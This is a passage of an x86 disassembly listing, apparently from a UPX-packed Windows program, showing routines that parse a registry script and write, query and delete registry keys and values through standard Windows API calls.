mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, eax
call sub_407B8A
mov eax, [esi]
movzx ecx, word ptr [eax]
xor edx, edx
cmp dx, cx
jnz short loc_407BD5
mov eax, 80020009h
jmp loc_407CC8
; ---------------------------------------------------------------------------
loc_407BD5: ; CODE XREF: sub_407BAF+1Aj
push edi
push 27h
pop edx
mov [ebp+var_8], ebx
cmp dx, cx
jnz loc_407C6D
mov edi, dword_41D31C
push eax
call edi ; dword_41D31C
mov [esi], eax
jmp short loc_407C50
; ---------------------------------------------------------------------------
loc_407BF2: ; CODE XREF: sub_407BAF+A6j
mov eax, [esi]
push 27h
pop ecx
cmp cx, [eax]
jnz short loc_407C07
push eax
call edi ; dword_41D31C
push 27h
pop ecx
cmp cx, [eax]
jnz short loc_407C57
loc_407C07: ; CODE XREF: sub_407BAF+4Bj
mov eax, [esi]
push 27h
pop ecx
cmp cx, [eax]
jnz short loc_407C16
push eax
call edi ; dword_41D31C
mov [esi], eax
loc_407C16: ; CODE XREF: sub_407BAF+60j
mov eax, [esi]
push eax
mov [ebp+var_4], eax
call edi ; dword_41D31C
mov edx, [ebp+var_8]
mov [esi], eax
sub eax, [ebp+var_4]
add edx, 2000h
sar eax, 1
lea ecx, [ebx+eax*2+2]
cmp ecx, edx
jnb loc_407CCC
test eax, eax
jle short loc_407C4E
mov ecx, [ebp+var_4]
loc_407C41: ; CODE XREF: sub_407BAF+9Dj
mov dx, [ecx]
mov [ebx], dx
inc ebx
inc ebx
inc ecx
inc ecx
dec eax
jnz short loc_407C41
loc_407C4E: ; CODE XREF: sub_407BAF+8Dj
mov eax, [esi]
loc_407C50: ; CODE XREF: sub_407BAF+41j
xor ecx, ecx
cmp cx, [eax]
jnz short loc_407BF2
loc_407C57: ; CODE XREF: sub_407BAF+56j
mov eax, [esi]
xor ecx, ecx
cmp cx, [eax]
jz short loc_407CCC
xor eax, eax
mov [ebx], ax
push dword ptr [esi]
call edi ; dword_41D31C
mov [esi], eax
jmp short loc_407CC5
; ---------------------------------------------------------------------------
loc_407C6D: ; CODE XREF: sub_407BAF+30j
; sub_407BAF+10Fj
mov eax, [esi]
movzx ecx, word ptr [eax]
cmp ecx, 9
jl short loc_407C86
cmp ecx, 0Ah
jle short loc_407CC0
cmp ecx, 0Dh
jz short loc_407CC0
cmp ecx, 20h
jz short loc_407CC0
loc_407C86: ; CODE XREF: sub_407BAF+C6j
push eax
mov edi, eax
call dword_41D31C ; CharNextW
mov edx, [ebp+var_8]
mov [esi], eax
sub eax, edi
sar eax, 1
lea ecx, [ebx+eax*2+2]
add edx, 2000h
cmp ecx, edx
jnb short loc_407CCC
test eax, eax
jle short loc_407CB7
loc_407CAA: ; CODE XREF: sub_407BAF+106j
mov cx, [edi]
mov [ebx], cx
inc ebx
inc ebx
inc edi
inc edi
dec eax
jnz short loc_407CAA
loc_407CB7: ; CODE XREF: sub_407BAF+F9j
mov eax, [esi]
xor ecx, ecx
cmp cx, [eax]
jnz short loc_407C6D
loc_407CC0: ; CODE XREF: sub_407BAF+CBj
; sub_407BAF+D0j ...
xor eax, eax
mov [ebx], ax
loc_407CC5: ; CODE XREF: sub_407BAF+BCj
xor eax, eax
loc_407CC7: ; CODE XREF: sub_407BAF+122j
pop edi
loc_407CC8: ; CODE XREF: sub_407BAF+21j
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_407CCC: ; CODE XREF: sub_407BAF+85j
; sub_407BAF+AFj ...
mov eax, 80020009h
jmp short loc_407CC7
sub_407BAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=2108h
sub_407CD3 proc near ; CODE XREF: sub_4083DE+218p
; sub_4083DE+3A8p
var_2130 = dword ptr -2130h
var_212C = dword ptr -212Ch
var_2128 = dword ptr -2128h
var_2124 = dword ptr -2124h
var_2120 = dword ptr -2120h
var_211C = dword ptr -211Ch
var_2118 = dword ptr -2118h
var_2114 = dword ptr -2114h
var_210C = dword ptr -210Ch
var_2108 = dword ptr -2108h
var_2104 = byte ptr -2104h
var_2004 = word ptr -2004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
lea ebp, [esp-2108h]
mov eax, 2108h
call sub_40E000
push 0FFFFFFFFh
push offset loc_41C2B2
mov eax, large fs:0
push eax
sub esp, 1Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+2108h+var_4], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp+2108h+var_2114]
mov large fs:0, eax
mov [ebp+2108h+var_2118], esp
mov eax, [ebp+2108h+arg_0]
mov [ebp+2108h+var_2124], eax
mov eax, [ebp+2108h+arg_4]
mov esi, ecx
mov edi, edx
mov [ebp+2108h+var_2130], eax
xor ebx, ebx
lea eax, [ebp+2108h+var_2004]
mov [ebp+2108h+var_2128], esi
mov [ebp+2108h+var_2120], edi
mov [ebp+2108h+var_211C], ebx
call sub_407BAF
cmp eax, ebx
jl loc_408014
lea eax, [ebp+2108h+var_211C]
push eax
lea eax, [ebp+2108h+var_2004]
push eax
call sub_407ACF
pop ecx
pop ecx
test eax, eax
jnz short loc_407D67
mov eax, 80020009h
jmp loc_408014
; ---------------------------------------------------------------------------
loc_407D67: ; CODE XREF: sub_407CD3+88j
call sub_407B8A
lea eax, [ebp+2108h+var_2004]
mov ecx, esi
call sub_407BAF
cmp eax, ebx
jl loc_408014
movzx eax, word ptr [ebp+2108h+var_211C]
sub eax, 8
jz loc_407FCD
sub eax, 9
jz loc_407EAC
dec eax
dec eax
jz loc_407E80
sub eax, 3FF5h
jnz loc_408003
lea eax, [ebp+2108h+var_2004]
push eax
call dword_41D1F0 ; lstrlenW
inc eax
inc eax
mov [ebp+2108h+var_2108], ebx
push 2
pop ecx
mul ecx
mov [ebp+2108h+var_210C], ebx
mov byte ptr [ebp+2108h+var_210C], 1
cmp edx, ebx
ja short loc_407DD1
cmp eax, 0FFFFFFFFh
jbe short loc_407DDB
loc_407DD1: ; CODE XREF: sub_407CD3+F7j
; sub_407CD3+213j ...
push 80070057h
call sub_4010D8
; ---------------------------------------------------------------------------
loc_407DDB: ; CODE XREF: sub_407CD3+FCj
cmp eax, 100h
jbe short loc_407DF8
push eax
lea eax, [ebp+2108h+var_2108]
push eax
call sub_40A495
jmp short loc_407DFE
; ---------------------------------------------------------------------------
loc_407DEE: ; DATA XREF: UPX0:00427454o
mov eax, offset loc_407DF4
retn
; ---------------------------------------------------------------------------
loc_407DF4: ; DATA XREF: sub_407CD3:loc_407DEEo
xor ebx, ebx
jmp short loc_407DFE
; ---------------------------------------------------------------------------
loc_407DF8: ; CODE XREF: sub_407CD3+10Dj
lea eax, [ebp+2108h+var_2104]
mov [ebp+2108h+var_2108], eax
loc_407DFE: ; CODE XREF: sub_407CD3+119j
; sub_407CD3+123j
mov esi, [ebp+2108h+var_2108]
cmp esi, ebx
jz short loc_407E64
lea edi, [ebp+2108h+var_2004]
cmp [ebp+2108h+var_2004], bx
jz short loc_407E49
mov ebx, dword_41D31C
loc_407E1A: ; CODE XREF: sub_407CD3+172j
push edi
call ebx ; dword_41D31C
movzx ecx, word ptr [edi]
cmp cx, 5Ch
jnz short loc_407E3A
cmp word ptr [eax], 30h
jnz short loc_407E3A
xor ecx, ecx
mov [esi], cx
inc esi
push eax
inc esi
call ebx ; dword_41D31C
mov edi, eax
jmp short loc_407E41
; ---------------------------------------------------------------------------
loc_407E3A: ; CODE XREF: sub_407CD3+151j
; sub_407CD3+157j
mov [esi], cx
inc esi
inc esi
inc edi
inc edi
loc_407E41: ; CODE XREF: sub_407CD3+165j
cmp word ptr [edi], 0
jnz short loc_407E1A
xor ebx, ebx
loc_407E49: ; CODE XREF: sub_407CD3+13Fj
xor eax, eax
mov [esi], ax
mov [esi+2], ax
push [ebp+2108h+var_2108]
push [ebp+2108h+var_2124]
push [ebp+2108h+var_2120]
call sub_407430
mov esi, eax
jmp short loc_407E67
; ---------------------------------------------------------------------------
loc_407E64: ; CODE XREF: sub_407CD3+130j
push 0Eh
pop esi
loc_407E67: ; CODE XREF: sub_407CD3+18Fj
lea eax, [ebp+2108h+var_2104]
cmp [ebp+2108h+var_2108], eax
jz loc_407FF6
lea eax, [ebp+2108h+var_2108]
call sub_40A2EA
jmp loc_407FF6
; ---------------------------------------------------------------------------
loc_407E80: ; CODE XREF: sub_407CD3+C6j
call off_42A000
lea eax, [ebp+2108h+var_2120]
push eax
push ebx
push ebx
lea eax, [ebp+2108h+var_2004]
push eax
call dword_41D22C
mov eax, [ebp+2108h+var_2120]
mov [ebp+2108h+var_211C], eax
push 4
lea eax, [ebp+2108h+var_211C]
push eax
push 4
jmp loc_407FE8
; ---------------------------------------------------------------------------
loc_407EAC: ; CODE XREF: sub_407CD3+BEj
lea eax, [ebp+2108h+var_2004]
push eax
call dword_41D1F0 ; lstrlenW
mov [ebp+2108h+var_211C], eax
test al, 1
jz short loc_407ECA
loc_407EC0: ; CODE XREF: sub_407CD3+253j
; sub_407CD3+25Dj
mov eax, 80004005h
jmp loc_408014
; ---------------------------------------------------------------------------
loc_407ECA: ; CODE XREF: sub_407CD3+1EBj
cdq
sub eax, edx
mov edi, eax
sar edi, 1
mov [ebp+2108h+var_212C], edi
mov [ebp+2108h+var_2108], ebx
xor eax, eax
mov [ebp+2108h+var_210C], 3
mov byte ptr [ebp+2108h+var_210C], 4
cmp eax, ebx
ja loc_407DD1
cmp edi, 0FFFFFFFFh
ja loc_407DD1
cmp edi, 100h
jbe short loc_407F16
push edi
lea eax, [ebp+2108h+var_2108]
push eax
call sub_40A495
jmp short loc_407F1C
; ---------------------------------------------------------------------------
loc_407F09: ; DATA XREF: UPX0:00427464o
mov eax, offset loc_407F0F
retn
; ---------------------------------------------------------------------------
loc_407F0F: ; DATA XREF: sub_407CD3:loc_407F09o
mov edi, [ebp+2108h+var_212C]
xor ebx, ebx
jmp short loc_407F1C
; ---------------------------------------------------------------------------
loc_407F16: ; CODE XREF: sub_407CD3+228j
lea eax, [ebp+2108h+var_2104]
mov [ebp+2108h+var_2108], eax
loc_407F1C: ; CODE XREF: sub_407CD3+234j
; sub_407CD3+241j
cmp [ebp+2108h+var_2108], ebx
jnz short loc_407F32
lea eax, [ebp+2108h+var_2104]
test eax, eax
jz short loc_407EC0
lea eax, [ebp+2108h+var_2108]
call sub_40A2EA
jmp short loc_407EC0
; ---------------------------------------------------------------------------
loc_407F32: ; CODE XREF: sub_407CD3+24Cj
push edi
push ebx
push [ebp+2108h+var_2108]
call sub_40BD40
add esp, 0Ch
xor esi, esi
cmp [ebp+2108h+var_211C], ebx
jle short loc_407FA3
loc_407F46: ; CODE XREF: sub_407CD3+2CCj
movzx ecx, [ebp+esi*2+2108h+var_2004]
mov eax, esi
cdq
sub eax, edx
sar eax, 1
add eax, [ebp+2108h+var_2108]
movzx edx, cx
cmp edx, 30h
jl short loc_407F88
cmp edx, 39h
jle short loc_407F81
cmp edx, 40h
jle short loc_407F88
cmp edx, 46h
jle short loc_407F7C
add edx, 0FFFFFF9Fh
cmp edx, 5
ja short loc_407F88
sub cl, 57h
jmp short loc_407F84
; ---------------------------------------------------------------------------
loc_407F7C: ; CODE XREF: sub_407CD3+29Aj
sub cl, 37h
jmp short loc_407F84
; ---------------------------------------------------------------------------
loc_407F81: ; CODE XREF: sub_407CD3+290j
sub cl, 30h
loc_407F84: ; CODE XREF: sub_407CD3+2A7j
; sub_407CD3+2ACj
mov dl, cl
jmp short loc_407F8A
; ---------------------------------------------------------------------------
loc_407F88: ; CODE XREF: sub_407CD3+28Bj
; sub_407CD3+295j ...
xor dl, dl
loc_407F8A: ; CODE XREF: sub_407CD3+2B3j
mov ebx, esi
and ebx, 1
shl ebx, 2
push 4
pop ecx
sub ecx, ebx
shl dl, cl
or [eax], dl
inc esi
cmp esi, [ebp+2108h+var_211C]
jl short loc_407F46
xor ebx, ebx
loc_407FA3: ; CODE XREF: sub_407CD3+271j
mov eax, [ebp+2108h+var_2120]
mov eax, [eax]
push edi
push [ebp+2108h+var_2108]
push 3
push ebx
push [ebp+2108h+var_2124]
push eax
call dword_41D018 ; RegSetValueExW
mov esi, eax
lea eax, [ebp+2108h+var_2104]
cmp [ebp+2108h+var_2108], eax
jz short loc_407FF6
lea eax, [ebp+2108h+var_2108]
call sub_40A2EA
jmp short loc_407FF6
; ---------------------------------------------------------------------------
loc_407FCD: ; CODE XREF: sub_407CD3+B5j
lea eax, [ebp+2108h+var_2004]
push eax
call dword_41D1F0 ; lstrlenW
lea eax, [eax+eax+2]
push eax
lea eax, [ebp+2108h+var_2004]
push eax
push 1
loc_407FE8: ; CODE XREF: sub_407CD3+1D4j
push ebx
push [ebp+2108h+var_2124]
push dword ptr [edi]
call dword_41D018 ; RegSetValueExW
mov esi, eax
loc_407FF6: ; CODE XREF: sub_407CD3+19Aj
; sub_407CD3+1A8j ...
cmp esi, ebx
jz short loc_408003
mov eax, esi
call sub_4072B2
jmp short loc_408014
; ---------------------------------------------------------------------------
loc_408003: ; CODE XREF: sub_407CD3+D1j
; sub_407CD3+325j
mov eax, [ebp+2108h+var_2130]
mov ecx, [ebp+2108h+var_2128]
call sub_407BAF
cmp eax, ebx
jl short loc_408014
xor eax, eax
loc_408014: ; CODE XREF: sub_407CD3+6Ej
; sub_407CD3+8Fj ...
mov ecx, [ebp+2108h+var_2114]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+2108h+var_4]
xor ecx, ebp
call sub_40AC1C
add ebp, 2108h
leave
retn 8
sub_407CD3 endp
; =============== S U B R O U T I N E =======================================
sub_408039 proc near ; CODE XREF: sub_4083DE+E0p
; sub_4083DE+503p
arg_0 = dword ptr 4
push esi
mov esi, offset off_423C6C
loc_40803F: ; CODE XREF: sub_408039+1Fj
push dword ptr [esi]
push [esp+8+arg_0]
call dword_41D0A0 ; lstrcmpiW
test eax, eax
jz short loc_408061
add esi, 4
cmp esi, offset a32770 ; "#32770"
jl short loc_40803F
xor eax, eax
inc eax
loc_40805D: ; CODE XREF: sub_408039+2Aj
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_408061: ; CODE XREF: sub_408039+14j
xor eax, eax
jmp short loc_40805D
sub_408039 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408065 proc near ; CODE XREF: sub_4083DE+4F5p
; sub_4083DE+532p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
lea ecx, [ebp+var_4]
push ecx
push eax
push eax
push eax
push [ebp+arg_0]
mov [ebp+var_4], eax
call dword_41D004 ; RegQueryInfoKeyW
test eax, eax
jz short loc_40808D
xor eax, eax
jmp short locret_408096
; ---------------------------------------------------------------------------
loc_40808D: ; CODE XREF: sub_408065+22j
xor eax, eax
cmp eax, [ebp+var_4]
sbb eax, eax
neg eax
locret_408096: ; CODE XREF: sub_408065+26j
leave
retn 4
sub_408065 endp
; =============== S U B R O U T I N E =======================================
sub_40809A proc near ; CODE XREF: sub_4083DE+118p
; sub_4083DE+291p ...
arg_1FFC = dword ptr 2000h
mov eax, 2004h
call sub_40E000
mov eax, dword_42A034
xor eax, esp
mov [esp+arg_1FFC], eax
cmp word ptr [edi], 3Dh
push esi
mov esi, ecx
jnz short loc_4080E7
mov eax, edi
call sub_407BAF
test eax, eax
jl short loc_4080E9
call sub_407B8A
lea eax, [esp+4]
mov ecx, esi
call sub_407BAF
test eax, eax
jl short loc_4080E9
mov eax, edi
mov ecx, esi
call sub_407BAF
test eax, eax
jl short loc_4080E9
loc_4080E7: ; CODE XREF: sub_40809A+1Fj
xor eax, eax
loc_4080E9: ; CODE XREF: sub_40809A+2Aj
; sub_40809A+3Ej ...
mov ecx, [esp+4+arg_1FFC]
pop esi
xor ecx, esp
call sub_40AC1C
add esp, 2004h
retn
sub_40809A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4080FF proc near ; CODE XREF: sub_408297+2Cp
push 60h
mov eax, offset loc_41C65B
call sub_40C4D6
mov esi, ecx
mov edi, edx
mov [ebp-64h], edi
test esi, esi
jz loc_40828C
test edi, edi
jz loc_40828C
and dword ptr [edi], 0
push esi
call dword_41D1F0 ; lstrlenW
add eax, eax
cmp eax, 64h
jge short loc_408138
mov eax, 3E8h
loc_408138: ; CODE XREF: sub_4080FF+32j
and dword ptr [ebp-60h], 0
push 2
pop ecx
mov [ebp-5Ch], eax
mul ecx
test edx, edx
ja short loc_40814D
cmp eax, 0FFFFFFFFh
jbe short loc_408151
loc_40814D: ; CODE XREF: sub_4080FF+47j
xor eax, eax
jmp short loc_408158
; ---------------------------------------------------------------------------
loc_408151: ; CODE XREF: sub_4080FF+4Cj
push eax
call dword_41D3BC
loc_408158: ; CODE XREF: sub_4080FF+50j
xor ecx, ecx
mov [ebp-58h], eax
cmp eax, ecx
jz short loc_408166
xor edx, edx
mov [eax], dx
loc_408166: ; CODE XREF: sub_4080FF+60j
mov [ebp-4], ecx
cmp eax, ecx
jnz short loc_40817E
push ecx
call dword_41D39C
mov eax, 8007000Eh
jmp loc_408291
; ---------------------------------------------------------------------------
loc_40817E: ; CODE XREF: sub_4080FF+6Cj
mov [ebx], esi
mov [ebp-54h], ecx
cmp [esi], cx
jz short loc_4081C6
loc_408188: ; CODE XREF: sub_4080FF+C2j
mov eax, [ebx]
cmp word ptr [eax], 25h
push eax
jnz short loc_4081A0
call dword_41D31C ; CharNextW
mov [ebx], eax
cmp word ptr [eax], 25h
jnz short loc_4081E0
push eax
loc_4081A0: ; CODE XREF: sub_4080FF+90j
xor edi, edi
inc edi
lea esi, [ebp-60h]
call sub_40775B
test eax, eax
jz loc_408280
loc_4081B3: ; CODE XREF: sub_4080FF+150j
; sub_4080FF+164j
push dword ptr [ebx]
call dword_41D31C ; CharNextW
mov [ebx], eax
cmp word ptr [eax], 0
jnz short loc_408188
mov edi, [ebp-64h]
loc_4081C6: ; CODE XREF: sub_4080FF+87j
mov eax, [ebp-58h]
and dword ptr [ebp-58h], 0
mov [edi], eax
loc_4081CF: ; CODE XREF: sub_4080FF+170j
; sub_4080FF+17Cj ...
push dword ptr [ebp-58h]
call dword_41D39C
mov eax, [ebp-54h]
jmp loc_408291
; ---------------------------------------------------------------------------
loc_4081E0: ; CODE XREF: sub_4080FF+9Ej
push 25h
call sub_407B63
pop ecx
mov [ebp-68h], eax
test eax, eax
jz short loc_408268
mov ecx, [ebx]
sub eax, ecx
sar eax, 1
cmp eax, 1Fh
jg short loc_408274
push eax
push ecx
lea eax, [ebp-50h]
push 20h
push eax
call sub_40B4EA
push eax
call sub_4010F0
; ---------------------------------------------------------------------------
add esp, 14h
lea eax, [ebp-50h]
push eax
mov eax, [ebx+4]
call sub_407A74
mov esi, eax
test esi, esi
jz short loc_408268
call off_42A000
and dword ptr [ebp-6Ch], 0
push esi
mov byte ptr [ebp-4], 1
call dword_41D1F0 ; lstrlenW
push esi
mov edi, eax
lea esi, [ebp-60h]
call sub_40775B
mov byte ptr [ebp-4], 0
test eax, eax
jz short loc_408280
mov esi, [ebp-68h]
cmp [ebx], esi
jz loc_4081B3
loc_408255: ; CODE XREF: sub_4080FF+162j
push dword ptr [ebx]
call dword_41D31C ; CharNextW
mov [ebx], eax
cmp eax, esi
jnz short loc_408255
jmp loc_4081B3
; ---------------------------------------------------------------------------
loc_408268: ; CODE XREF: sub_4080FF+EEj
; sub_4080FF+121j
mov dword ptr [ebp-54h], 80020009h
jmp loc_4081CF
; ---------------------------------------------------------------------------
loc_408274: ; CODE XREF: sub_4080FF+F9j
mov dword ptr [ebp-54h], 80004005h
jmp loc_4081CF
; ---------------------------------------------------------------------------
loc_408280: ; CODE XREF: sub_4080FF+AEj
; sub_4080FF+149j
mov dword ptr [ebp-54h], 8007000Eh
jmp loc_4081CF
; ---------------------------------------------------------------------------
loc_40828C: ; CODE XREF: sub_4080FF+15j
; sub_4080FF+1Dj
mov eax, 80004003h
loc_408291: ; CODE XREF: sub_4080FF+7Aj
; sub_4080FF+DCj
call sub_40C520
retn
sub_4080FF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=1F8Ch
sub_408297 proc near ; CODE XREF: sub_4078AB+15Ap
var_200C = dword ptr -200Ch
var_2008 = dword ptr -2008h
var_2004 = word ptr -2004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-1F8Ch]
mov eax, 200Ch
call sub_40E000
mov eax, dword_42A034
xor eax, ebp
mov [ebp+1F8Ch+var_4], eax
and [ebp+1F8Ch+var_200C], 0
push ebx
push esi
mov esi, edx
lea edx, [ebp+1F8Ch+var_200C]
mov ebx, esi
call sub_4080FF
mov ebx, eax
test ebx, ebx
jl loc_40838A
mov eax, [ebp+1F8Ch+var_200C]
xor ecx, ecx
mov [esi], eax
cmp cx, [eax]
jz loc_40837F
push edi
loc_4082E3: ; CODE XREF: sub_408297+138j
lea eax, [ebp+1F8Ch+var_2004]
mov ecx, esi
call sub_407BAF
mov ebx, eax
test ebx, ebx
jl loc_40837E
xor edi, edi
loc_4082F9: ; CODE XREF: sub_408297+7Fj
push off_424510[edi*8]
lea eax, [ebp+1F8Ch+var_2004]
push eax
call dword_41D0A0 ; lstrcmpiW
test eax, eax
jz loc_4083A3
inc edi
cmp edi, 0Eh
jb short loc_4082F9
and [ebp+1F8Ch+var_2008], 0
loc_40831C: ; CODE XREF: sub_408297+116j
xor edi, edi
cmp [ebp+1F8Ch+var_2008], edi
jz loc_4083D7
lea eax, [ebp+1F8Ch+var_2004]
mov ecx, esi
call sub_407BAF
mov ebx, eax
cmp ebx, edi
jl short loc_40837E
push 7Bh
pop eax
cmp ax, [ebp+1F8Ch+var_2004]
jnz loc_4083D7
lea eax, [ebp+1F8Ch+var_2004]
mov ecx, esi
cmp [ebp+1F8Ch+arg_0], edi
jz short loc_4083B2
mov edi, [esi]
push 0
push [ebp+1F8Ch+arg_0]
push [ebp+1F8Ch+var_2008]
push eax
call sub_4083DE
mov ebx, eax
test ebx, ebx
jge short loc_4083C3
push 0
push 0
push [ebp+1F8Ch+var_2008]
lea eax, [ebp+1F8Ch+var_2004]
push eax
mov ecx, esi
mov [esi], edi
call sub_4083DE
loc_40837E: ; CODE XREF: sub_408297+5Aj
; sub_408297+9Ej ...
pop edi
loc_40837F: ; CODE XREF: sub_408297+45j
push [ebp+1F8Ch+var_200C]
call dword_41D39C
mov eax, ebx
loc_40838A: ; CODE XREF: sub_408297+35j
mov ecx, [ebp+1F8Ch+var_4]
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
add ebp, 1F8Ch
leave
retn 4
; ---------------------------------------------------------------------------
loc_4083A3: ; CODE XREF: sub_408297+75j
mov eax, dword_424514[edi*8]
mov [ebp+1F8Ch+var_2008], eax
jmp loc_40831C
; ---------------------------------------------------------------------------
loc_4083B2: ; CODE XREF: sub_408297+B8j
push edi
push edi
push [ebp+1F8Ch+var_2008]
push eax
call sub_4083DE
mov ebx, eax
cmp ebx, edi
jl short loc_40837E
loc_4083C3: ; CODE XREF: sub_408297+D1j
call sub_407B8A
mov eax, [esi]
xor ecx, ecx
cmp cx, [eax]
jnz loc_4082E3
jmp short loc_40837E
; ---------------------------------------------------------------------------
loc_4083D7: ; CODE XREF: sub_408297+8Aj
; sub_408297+A7j
mov ebx, 80020009h
jmp short loc_40837E
sub_408297 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4083DE proc near ; CODE XREF: sub_408297+C8p
; sub_408297+E2p ...
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_434 = dword ptr -434h
var_430 = dword ptr -430h
var_42C = byte ptr -42Ch
var_428 = byte ptr -428h
var_220 = byte ptr -220h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
; FUNCTION CHUNK AT 004089C4 SIZE 0000000A BYTES
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset loc_41C383
mov eax, large fs:0
push eax
sub esp, 438h
mov eax, dword_42A034
xor eax, esp
mov [esp+444h+var_14], eax
push ebx
push esi
push edi
mov eax, dword_42A034
xor eax, esp
push eax
lea eax, [esp+454h+var_C]
mov large fs:0, eax
mov eax, [ebp+arg_4]
mov edi, [ebp+arg_0]
and [esp+454h+var_444], 0
mov [esp+454h+var_43C], ecx
mov [esp+454h+var_438], eax
mov eax, [ebp+arg_C]
and [esp+454h+var_4], 0
mov [esp+454h+var_430], eax
mov eax, edi
call sub_407BAF
mov esi, eax
test esi, esi
jl loc_4088A3
cmp word ptr [edi], 7Dh
jz loc_4088A1
loc_40845B: ; CODE XREF: sub_4083DE+16Fj
mov esi, dword_41D0A0
push offset aDelete ; "Delete"
push edi
mov [esp+45Ch+var_434], 1
call esi ; dword_41D0A0
mov ebx, eax
neg ebx
push offset aForceremove ; "ForceRemove"
sbb ebx, ebx
push edi
inc ebx
call esi ; dword_41D0A0
test eax, eax
jz short loc_40848C
test ebx, ebx
jz loc_408558
loc_40848C: ; CODE XREF: sub_4083DE+A4j
mov ecx, [esp+454h+var_43C]
mov eax, edi
call sub_407BAF
mov esi, eax
test esi, esi
jl loc_408890
cmp [ebp+arg_8], 0
jz loc_408558
push 5Ch
mov eax, edi
call sub_407B63
pop ecx
test eax, eax
jnz loc_408966
push edi
call sub_408039
test eax, eax
jz short loc_4084D9
mov eax, [esp+454h+var_438]
push edi
lea ecx, [esp+458h+var_440]
mov [esp+458h+var_440], eax
call sub_40747A
loc_4084D9: ; CODE XREF: sub_4083DE+E7j
test ebx, ebx
jz short loc_408558
mov ecx, [esp+454h+var_43C]
mov eax, edi
call sub_407BAF
mov esi, eax
test esi, esi
jl loc_408890
mov ecx, [esp+454h+var_43C]
call sub_40809A
loc_4084FB: ; CODE XREF: sub_4083DE+3ADj
mov esi, eax
test esi, esi
jl loc_408890
loc_408505: ; CODE XREF: sub_4083DE+22Ej
; sub_4083DE+397j
cmp word ptr [edi], 7Bh
jnz short loc_408549
push edi
call dword_41D1F0 ; lstrlenW
cmp eax, 1
jnz short loc_408549
mov ecx, [esp+454h+var_43C]
push 0
push [ebp+arg_8]
push [esp+45Ch+var_444]
push edi
call sub_4083DE
mov esi, eax
test esi, esi
jl loc_408890
mov ecx, [esp+454h+var_43C]
mov eax, edi
call sub_407BAF
mov esi, eax
test esi, esi
loc_408543: ; CODE XREF: sub_4083DE+29Aj
jl loc_408890
loc_408549: ; CODE XREF: sub_4083DE+12Bj
; sub_4083DE+137j ...
cmp word ptr [edi], 7Dh
jnz loc_40845B
jmp loc_408890
; ---------------------------------------------------------------------------
loc_408558: ; CODE XREF: sub_4083DE+A8j
; sub_4083DE+C7j ...
push offset aNoremove ; "NoRemove"
push edi
call dword_41D0A0 ; lstrcmpiW
test eax, eax
jnz short loc_408581
and [esp+454h+var_434], eax
mov ecx, [esp+454h+var_43C]
mov eax, edi
call sub_407BAF
mov esi, eax
test esi, esi
jl loc_408890
loc_408581: ; CODE XREF: sub_4083DE+188j
push offset aVal ; "Val"
push edi
xor ebx, ebx
call dword_41D0A0 ; lstrcmpiW
test eax, eax
jnz loc_40867D
mov ecx, [esp+454h+var_43C]
lea eax, [esp+454h+var_220]
call sub_407BAF
mov esi, eax
test esi, esi
jl loc_408890
mov ecx, [esp+454h+var_43C]
mov eax, edi
call sub_407BAF
mov esi, eax
test esi, esi
jl loc_408890
cmp word ptr [edi], 3Dh
jnz loc_408966
cmp [ebp+arg_8], ebx
jz short loc_408611
mov eax, [esp+454h+var_438]
mov ecx, [esp+454h+var_43C]
mov byte ptr [esp+454h+var_4], 1
mov [esp+454h+var_440], eax
push edi
lea eax, [esp+458h+var_220]
push eax
lea edx, [esp+45Ch+var_440]
call sub_407CD3
mov esi, eax
cmp esi, ebx
jl loc_408981
mov byte ptr [esp+454h+var_4], bl
jmp loc_408505
; ---------------------------------------------------------------------------
loc_408611: ; CODE XREF: sub_4083DE+1F5j
cmp [ebp+arg_C], ebx
jnz short loc_40866B
cmp [esp+454h+var_434], ebx
jz short loc_40866B
lea eax, [esp+454h+var_440]
push eax
push 20006h
push ebx
push ebx
push [esp+464h+var_438]
mov [esp+468h+var_440], ebx
call dword_41D010 ; RegOpenKeyExW
cmp eax, ebx
jnz loc_408889
mov ebx, [esp+454h+var_440]
lea eax, [esp+454h+var_220]
push eax
push ebx
call dword_41D00C ; RegDeleteValueW
test eax, eax
jz short loc_40865E
cmp eax, 2
jnz loc_40898A
loc_40865E: ; CODE XREF: sub_4083DE+275j
test ebx, ebx
jz short loc_408669
push ebx
call dword_41D000 ; RegCloseKey
loc_408669: ; CODE XREF: sub_4083DE+282j
xor ebx, ebx
loc_40866B: ; CODE XREF: sub_4083DE+236j
; sub_4083DE+23Cj
mov ecx, [esp+454h+var_43C]
call sub_40809A
mov esi, eax
cmp esi, ebx
jmp loc_408543
; ---------------------------------------------------------------------------
loc_40867D: ; CODE XREF: sub_4083DE+1B3j
push 5Ch
mov eax, edi
call sub_407B63
pop ecx
test eax, eax
jnz loc_4089A5
cmp [ebp+arg_8], ebx
jz loc_408790
mov esi, dword_41D010
lea eax, [esp+454h+var_440]
push eax
push 2001Fh
push ebx
push edi
push [esp+464h+var_438]
mov [esp+468h+var_440], ebx
call esi ; dword_41D010
cmp eax, ebx
jnz short loc_4086DC
xor eax, eax
cmp [esp+454h+var_444], ebx
jz short loc_4086CA
push [esp+454h+var_444]
